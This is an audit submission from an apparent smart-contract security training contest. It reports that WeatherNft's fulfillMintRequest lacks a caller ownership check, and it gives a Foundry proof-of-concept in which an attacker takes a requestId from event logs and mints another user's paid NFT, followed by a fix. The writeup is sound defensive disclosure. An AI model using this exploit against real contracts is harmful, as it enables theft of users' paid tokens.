Weather Witness
First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No validation of ownership when fulfilling mint requests causing NFTs being able to be stolen by anyone

bavoen

No validation of ownership when fulfilling mint requests causing NFTs being able to be stolen by anyone

Description

  • A user calls the WeatherNft.sol::requestMintWeatherNFT function to start the minting process. At this time the user also pays the mint price. The weather data is requested from an oracle and once this is received, the user calls the WeatherNft.sol::fulfillMintRequest function to mint the NFT.

  • The WeatherNft.sol::fulfillMintRequest function does not check if the caller is the owner of the request. This means that anyone can call this function using the publicly readable request id and mint an NFT paid by some other user, effectively stealing their NFT.

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
​
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
​
if (response.length == 0 || err.length > 0) {
return;
}
​
...
​
@> _mint(msg.sender, tokenId);
​
}

The only check that is done is whether there is a response for the weather data request.
When the nft is minted, the msg.sender is used as the owner of the NFT and not the original user who called the requestMintWeatherNFT function.

Risk

Likelihood: High

  • It is very easy to listen to the events emitted by the requestMintWeatherNFT function and get the requestId to use later to steal the NFT.

Impact: High

  • Anyone can mint an NFT paid by someone else. This can lead to a loss of funds for the original user and a loss of trust in the system.

Proof of Concept

This is a simple test where a user requests and pays for the minting of an NFT. The attacker listens to the events emitted by the requestMintWeatherNFT function and gets the requestId. The attacker then calls the fulfillMintRequest function with the stolen requestId and mints the NFT for themselves.

function test_steal_weatherNFT() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
​
// User request and pays for the mint
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
​
// Attacker steals the request id from the chain
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
​
// Resolve the weather request
(
uint256 reqHeartbeat,
address reqUser,
bool reqRegisterKeeper,
uint256 reqInitLinkDeposit,
string memory reqPincode,
string memory reqIsoCode
) = weatherNft.s_funcReqIdToUserMintReq(reqId);
​
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
​
// Attacker calls the fulfillMintRequest function with the stolen request id
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
// The attacker now owns the NFT
assertEq(weatherNft.ownerOf(tokenId), attacker);
​
// attacker did not pay for the mint
assertEq(linkToken.balanceOf(attacker), 1000e18);
}

Recommended Mitigation

Two different solutions can be used to fix this issue:

  1. Check the owner of the requestId: The fulfillMintRequest function should check if the caller is the owner of the requestId before minting the NFT. This can be done by adding a check like this:

+ require(msg.sender == s_funcReqIdToUserMintReq[requestId].user, WeatherNft__Unauthorized());

  1. Use the original requestId: The fulfillMintRequest function should use the original requestId to mint the NFT.

- _mint(msg.sender, tokenId);
+ _mint(s_funcReqIdToUserMintReq[requestId].user, tokenId);
Updates

Appeal created

bube Lead Judge 23 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.